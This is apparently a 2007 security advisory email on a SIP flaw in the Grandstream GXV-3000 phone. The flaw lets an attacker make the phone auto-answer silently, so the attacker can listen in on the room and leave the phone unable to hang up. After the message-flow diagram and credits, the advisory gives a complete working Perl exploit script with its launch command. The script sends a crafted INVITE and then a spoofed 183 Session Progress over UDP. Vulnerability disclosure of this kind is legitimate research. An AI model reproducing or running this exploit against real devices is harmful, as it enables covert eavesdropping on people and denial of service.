<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:st1="urn:schemas-microsoft-com:office:smarttags" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=us-ascii">
<meta name=Generator content="Microsoft Word 11 (filtered medium)">
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceType"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="PlaceName"/>
<o:SmartTagType namespaceuri="urn:schemas-microsoft-com:office:smarttags"
name="place"/>
<!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:System;
panose-1:0 0 0 0 0 0 0 0 0 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0in;
margin-bottom:.0001pt;
font-size:12.0pt;
font-family:"Times New Roman";}
a:link, span.MsoHyperlink
{color:blue;
text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
{color:purple;
text-decoration:underline;}
p
{mso-margin-top-alt:auto;
margin-right:0in;
mso-margin-bottom-alt:auto;
margin-left:0in;
font-size:12.0pt;
font-family:"Times New Roman";}
span.EmailStyle17
{mso-style-type:personal-compose;
font-family:Arial;
color:windowtext;}
@page Section1
{size:595.3pt 841.9pt;
margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
{page:Section1;}
/* List Definitions */
@list l0
{mso-list-id:566767589;
mso-list-template-ids:535710460;}
@list l0:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
@list l0:level2
{mso-level-tab-stop:1.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level3
{mso-level-tab-stop:1.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level4
{mso-level-tab-stop:2.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level5
{mso-level-tab-stop:2.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level6
{mso-level-tab-stop:3.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level7
{mso-level-tab-stop:3.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level8
{mso-level-tab-stop:4.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l0:level9
{mso-level-tab-stop:4.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1
{mso-list-id:1640841892;
mso-list-template-ids:-1691044848;}
@list l1:level1
{mso-level-number-format:bullet;
mso-level-text:\F0B7;
mso-level-tab-stop:.5in;
mso-level-number-position:left;
text-indent:-.25in;
mso-ansi-font-size:10.0pt;
font-family:Symbol;}
@list l1:level2
{mso-level-tab-stop:1.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level3
{mso-level-tab-stop:1.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level4
{mso-level-tab-stop:2.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level5
{mso-level-tab-stop:2.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level6
{mso-level-tab-stop:3.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level7
{mso-level-tab-stop:3.5in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level8
{mso-level-tab-stop:4.0in;
mso-level-number-position:left;
text-indent:-.25in;}
@list l1:level9
{mso-level-tab-stop:4.5in;
mso-level-number-position:left;
text-indent:-.25in;}
ol
{margin-bottom:0in;}
ul
{margin-bottom:0in;}
-->
</style>
<!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]-->
</head>
<body lang=FR link=blue vlink=purple>
<div class=Section1>
<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'>While playing with the SIP Madynes stateful
fuzzer (for a description see http://hal.inria.fr/inria-00166947/en), we have
realized that some SIP stack engines have serious bugs allowing to an attacker
to automatically make a remote phone accept the call<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'> without ringing and without asking the user to take
the phone from the hook, such that the attacker might be able to listen to all
conversations that take place in the remote room without being noticed.<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'>One example that we can disclose (vendor was notified on
</span></font><font size=2><span lang=EN-US style='font-size:10.0pt'>10 th May</span></font><font
size=2><span lang=EN-US style='font-size:10.0pt'> 2007)</span></font><font
size=2><span lang=EN-US style='font-size:10.0pt'> is the following:
Grandstream SIP Phone GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 color=black face="Times New Roman"><span
lang=EN-US style='font-size:10.0pt;color:black'>MADYNES Security Advisory : SIP
remote attack on </span></font><font size=2><span lang=EN-US
style='font-size:10.0pt'>Grandstream SIP Phone GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'>Date of Discovery 7 th May</span></font><font size=2><span
lang=EN-US style='font-size:10.0pt'>, 2007<br>
<br>
ID: KIPH7<o:p></o:p></span></font></p>
<p><font size=2 face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Background
</span></font><font size=2><span lang=EN-US style='font-size:10.0pt'><o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'>SIP is the IETF standardized (RFCs 2543 and 3261)
protocol for VoIP signalization. SIP is an ASCII based INVITE message is used
to initiate and maintain a communication session. <br>
<br>
<br>
Affected devices: <font color=black><span style='color:black'> </span></font></span></font><font
size=2><span lang=EN-US style='font-size:10.0pt'>Grandstream SIP Phone GXV-3000
with latest available firmware </span></font><font size=2 face="Courier New"><span
lang=EN-US style='font-size:10.0pt;font-family:"Courier New"'> 1.0.1.7
Loader-- 1.0.0.6 Boot--1.0.0.18</span></font><font size=2><span
lang=EN-US style='font-size:10.0pt'><o:p></o:p></span></font></p>
<p style='margin-bottom:12.0pt'><font size=2 face="Times New Roman"><span
lang=EN-US style='font-size:10.0pt'>Impact :<br>
</span></font><font size=2><span lang=EN-US style='font-size:10.0pt'>A
malicious user can remotely eavesdrop (a remote location) and perform DOS
on a remote phone. <br>
Resolution<br>
Fixed software will be available from the vendor and customers following
recommended best practices (ie segregating VOIP traffic from data) will be
protected from malicious traffic in most situations. <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>The
vulnerability is based in a sequence of two messages, where both messages are
syntactically right, but together they turn the device in an inconsistent state,
where the RTP is now send to the attacker/ <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>ougui@152.81.48.94:5060
is the attacker
<a href="mailto:1005@152.81.48.88:5060">1005@152.81.48.88:5060</a> the
attacked phone<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
X ----------------------- INVITE -------------------> GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
X <------------------ 100 Trying ----------------- <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
X <--------------- 180 Ringing ------------------- <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
X ------------- 183 Session Progress -------> GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
X <-----------RTP - FLOW ------------------------ GXV-3000<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>After these messages
the device is not able to hang up so a remote DOS can be also done<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Credits:<o:p></o:p></span></font></p>
<ul type=disc>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l0 level1 lfo1'><font size=2 face="Times New Roman"><span
lang=EN-US style='font-size:10.0pt'>Humberto J. Abdelnur (Ph.D Student) <o:p></o:p></span></font></li>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l0 level1 lfo1'><st1:place w:st="on"><st1:PlaceName w:st="on"><font
size=2 face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Radu</span></font></st1:PlaceName><font
size=2><span lang=EN-US style='font-size:10.0pt'> <st1:PlaceType w:st="on">State</st1:PlaceType></span></font></st1:place><font
size=2><span lang=EN-US style='font-size:10.0pt'> (Ph.D) <o:p></o:p></span></font></li>
<li class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;
mso-list:l0 level1 lfo1'><font size=2 face="Times New Roman"><span
lang=EN-US style='font-size:10.0pt'>Olivier Festor (Ph.D) <o:p></o:p></span></font></li>
</ul>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Exploit Code :<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>To run the
exploit the file Grandstream-GXV3000.pl should be launched (assuming our
configurations) as:<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>perl
Grandstream-GXV3000.pl 152.81.48.88 5060 humbol 152.81.48.94 5060 ougui<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'>#!/usr/bin/perl</span></font><font size=2><span
lang=EN-US style='font-size:10.0pt'><o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>use
IO::Socket::INET;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>die
"Usage $0 <dst> <port> <username> <src>
<port> <username>" unless ($ARGV[5]);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$socket=new
IO::Socket::INET->new(<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
Proto=>'udp',<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'> LocalPort
=> $ARGV[4],<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'> PeerPort=>$ARGV[1],<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>
</span></font><font size=2><span lang=PT-BR style='font-size:10.0pt'>PeerAddr=>$ARGV[0]);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>$sdp=
"v=0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>o=username 0 0
IN IP4 $ARGV[3]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>s=The Funky
Flow\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>c=IN IP4
$ARGV[3]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>t=0 0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>m=audio 33404
RTP/AVP 3 97 0 8\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>a=rtpmap:0
PCMU/8000\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>a=rtpmap:3
GSM/8000\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>a=rtpmap:8
PCMA/8000\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>a=rtpmap:97
iLBC/8000\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>a=fmtp:97
mode=30\r\n";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$sdplen= length
$sdp;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>$msg= "INVITE
sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>Via:
SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>From:
<sip:$ARGV[5]\@$ARGV[3]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>To:
<sip:$ARGV[2]\@$ARGV[0]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>Contact:
<sip:$ARGV[5]\@$ARGV[3]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>Call-ID:
ougui\@$ARGV[3]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>CSeq: 10419
INVITE\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Max-Forwards:
70\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Content-Type:
application/sdp\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Content-Length:
$sdplen\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$sdp";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>sleep(3);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$msg= <o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>"SIP/2.0
183 Session Progress\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=PT-BR style='font-size:10.0pt'>Via:
SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>From:
<sip:$ARGV[5]\@$ARGV[3]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>To:
<sip:$ARGV[2]\@$ARGV[0]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Call-ID:
ougui\@$ARGV[3]\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>CSeq: 10419
INVITE\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Max-Forwards:
70\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Contact:
<sip:$ARGV[5]\@$ARGV[3]>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Content-Type:
application/sdp\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>Content-Length:
$sdplen\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$sdp";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2
face="Times New Roman"><span lang=EN-US style='font-size:10.0pt'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face="Times New Roman"><span lang=EN-US
style='font-size:10.0pt'><o:p> </o:p></span></font></p>
</div>
</body>
</html>